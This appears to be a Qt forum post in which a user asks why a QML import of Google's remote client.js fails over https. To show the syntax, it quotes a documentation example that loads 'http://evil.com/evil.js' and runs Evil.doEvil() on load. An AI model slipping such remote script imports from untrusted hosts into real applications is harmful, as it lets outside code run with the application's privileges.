Hi all,

I am trying to import a remote javascript as this example (http://doc.qt.io/qt-5/qtqml-document...nsparency.html)
Qt Code:
  1. import QtQuick 2.0
  2. import "http://evil.com/evil.js" as Evil
  3.  
  4. Component {
  5. onLoaded: Evil.doEvil()
  6. }
To copy to clipboard, switch view to plain text mode 

However, when I try my application, I get the error : Script https://apis.google.com/js/client.js unavailable
My code:
Qt Code:
  1. import "https://apis.google.com/js/client.js" as GoogleApi
To copy to clipboard, switch view to plain text mode 


Is it because of https? Or I misunderstood the usage of this google API.

If I didn't explanation my question clear enough. Please kindly tell me.

Best regards,
Clark